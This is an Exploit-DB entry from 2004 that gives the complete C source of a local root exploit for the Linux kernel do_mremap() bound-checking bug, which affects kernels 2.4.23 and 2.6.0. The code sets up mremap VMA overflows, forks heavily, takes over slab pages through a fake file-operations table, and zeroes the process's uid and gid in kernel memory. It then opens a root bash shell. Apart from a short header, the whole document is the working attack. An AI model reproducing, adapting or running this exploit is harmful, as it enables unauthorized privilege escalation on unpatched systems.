Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation

EDB-ID:

145




Platform:

Linux

Date:

2004-01-15


/*
 * Linux kernel mremap() bound checking bug exploit.
 *
 * Bug found by Paul Starzetz <paul isec pl>
 *
 * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <asm/page.h>

#define MREMAP_MAYMOVE	1
#define MREMAP_FIXED	2

#define str(s) 	#s
#define xstr(s) str(s)

#define DSIGNAL		SIGCHLD
#define CLONEFL		(DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
#define PAGEADDR	0x2000

#define RNDINT		512

#define NUMVMA		(3 * 5 * 257)
#define NUMFORK		(17 * 65537)

#define DUPTO		1000
#define TMPLEN		256

#define __NR_sys_mremap	163

_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
new_len,
			 unsigned long flags, unsigned long new_addr);


static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];


void fatal(const char * msg)
{
	printf("\n");
	if (!errno) {
		fprintf(stderr, "FATAL: %s\n", msg);
	} else {
		perror(msg);
	}

	printf("\nentering endless loop");
	fflush(stdout);
	fflush(stderr);
	while (1) pause();
}

void kernel_code(void * file, loff_t offset, int origin)
{
	int i, c;
	int *v;

	if (!file)
		goto out;

	__asm__("movl	%%esp, %0" : : "m" (c));

	c &= 0xffffe000;
	v = (void *) c;

	for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
		if (v[i] == uid && v[i+1] == uid) {
			i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
		}
		if (v[i] == gid) {
			v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
			break;
		}
	}
out:
	dummy++;
}

void try_to_exploit(void)
{
	int v = 0;

	v += fops[0];
	v += fake_file[0];

	kernel_code(0, 0, v);
	lseek(DUPTO, 0, SEEK_SET);

	if (geteuid()) {
		printf("\nFAILED uid!=0"); fflush(stdout);
		errno =- ENOSYS;
		fatal("uid change");
	}

	printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);

	kill(ppid, SIGUSR1);
	setresuid(0, 0, 0);
	sleep(1);

	printf("\n\n"); fflush(stdout);

	execl("/bin/bash", "bash", NULL);
	fatal("burp");
}

void cleanup(int v)
{
	victim[DUPTO] = victim[0];
	kill(0, SIGUSR2);
}


void redirect_filp(int v)
{
	printf("\n[!] parent check race... "); fflush(stdout);

	if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
		printf("SUCCESS, cought SLAB page!"); fflush(stdout);
		victim[DUPTO] = (unsigned) & fake_file;
		signal(SIGUSR1, &cleanup);
		kill(pid, SIGUSR1);
	} else {
		printf("FAILED!");
	}
	fflush(stdout);
}

int get_slab_objs(void)
{
	FILE * fp;
	int c, d, u = 0, a = 0;
	static char line[TMPLEN], name[TMPLEN];

	fp = fopen("/proc/slabinfo", "r");
	if (!fp)
		fatal("fopen");

	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a =- 1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
	} while (strcmp(name, "size-4096"));
	
	fclose(fp);

	return c == 7 ? a - u : -1;
}

void unprotect(int v)
{
	int n, c = 1;

	*victim = 0;
	printf("\n[+] parent unprotected PTE "); fflush(stdout);

	dup2(0, 2);
	while (1) {
		n = get_slab_objs();
		if (n < 0)
			fatal("read slabinfo");
		if (n > 0) {
			printf("\n    depopulate SLAB #%d", c++);
			blah = 0; kill(hpid, SIGUSR1);
			while (!blah) pause();
		}
		if (!n) {
			blah = 0; kill(hpid, SIGUSR1);
			while (!blah) pause();
			dup2(0, DUPTO);
			break;
		}
	}

	signal(SIGUSR1, &redirect_filp);
	kill(pid, SIGUSR1);
}

void cleanup_vmas(void)
{
	int i = NUMVMA;

	while (1) {
		tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
				MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
		if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
			printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
			fatal("unmap1");
		}
		i--;
		if (!i)
			break;

	tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
				MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
			printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
			fatal("unmap2");
		}
		i--;
		if (!i)
			break;
	}
}

void catchme(int v)
{
	blah++;
}

void exitme(int v)
{
	_exit(0);
}

void childrip(int v)
{
	waitpid(-1, 0, WNOHANG);
}

void slab_helper(void)
{
	signal(SIGUSR1, &catchme);
	signal(SIGUSR2, &exitme);
	blah = 0;

	while (1) {
		while (!blah) pause();

		blah = 0;
		if (!fork()) {
			dup2(0, DUPTO);
			kill(getppid(), SIGUSR1);
			while (1) pause();
		} else {
			while (!blah) pause();
			blah = 0; kill(ppid, SIGUSR2);
		}
	}
	exit(0);
}

int main(void)
{
	int i, r, v, cnt;
	time_t start;

	srand(time(NULL) + getpid());
	ppid = getpid();
	uid = getuid();
	gid = getgid();

	hpid = fork();
	if (!hpid)
		slab_helper();

	fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
			MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (fops == MAP_FAILED)
		fatal("mmap fops VMA");
	for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
		fops[i] = (unsigned)&kernel_code;
	for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
		fake_file[i] = (unsigned)fops;

	vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (vma_ro == MAP_FAILED)
		fatal("mmap1");

	vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (vma_rw == MAP_FAILED)
		fatal("mmap2");

	cnt = NUMVMA;
	while (1) {
		r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
		if (r == (-1)) {
			printf("\n[-] ERROR remapping"); fflush(stdout);
			fatal("remap1");
		}
		cnt--;
		if (!cnt) break;

		r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
		if (r == (-1)) {
			printf("\n[-] ERROR remapping"); fflush(stdout);
			fatal("remap2");
		}
		cnt--;
		if (!cnt) break;
	}

	victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
			MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	if (victim != (void *) PAGEADDR)
		fatal("mmap victim VMA");

	v = *victim;
	*victim = v + 1;

	signal(SIGUSR1, &unprotect);
	signal(SIGUSR2, &catchme);
	signal(SIGCHLD, &childrip);
	printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
	start = time(NULL);

	cnt = NUMFORK;
	v = 0;
	while (1) {
		cnt--;
		v--;
		dummy += *victim;

		if (cnt > 1) {
			__asm__(
			"pusha				\n"
			"movl %1, %%eax			\n"
			"movl $("xstr(CLONEFL)"), %%ebx	\n"
			"movl %%esp, %%ecx		\n"
			"movl $120, %%eax		\n"
			"int  $0x80			\n"
			"movl %%eax, %0			\n"
			"popa				\n"
			: : "m" (pid), "m" (dummy)
			);
		} else {
			pid = fork();
		}

		if (pid) {
			if (v <= 0 && cnt > 0) {
				float eta, tm;
				v = rand() % RNDINT / 2 + RNDINT / 2;
				tm = eta = (float)(time(NULL) - start);
				eta *= (float)NUMFORK;
				eta /= (float)(NUMFORK - cnt);
				printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
				NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
				fflush(stdout);
			}
			if (cnt) {
				waitpid(pid, 0, 0);
				continue;
			}
			if (!cnt) {
				while (1) {
					 r = wait(NULL);
					 if (r == pid) {
					cleanup_vmas();
					while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
					 }
				}
			}
		}

		else {
			cleanup_vmas();

			if (cnt > 0) {
				_exit(0);
			}

		printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
			sleep(1);

			signal(SIGUSR1, &catchme);
			munmap(0, PAGE_SIZE);
			dup2(0, 2);
			blah = 0; kill(ppid, SIGUSR1);
			while (!blah) pause();

			munmap((void *)victim, PAGE_SIZE);
			dup2(0, DUPTO);

			blah = 0; kill(ppid, SIGUSR1);
			while (!blah) pause();
			try_to_exploit();
			while (1) pause();
		}
	}
	return 0;
}



// milw0rm.com [2004-01-15]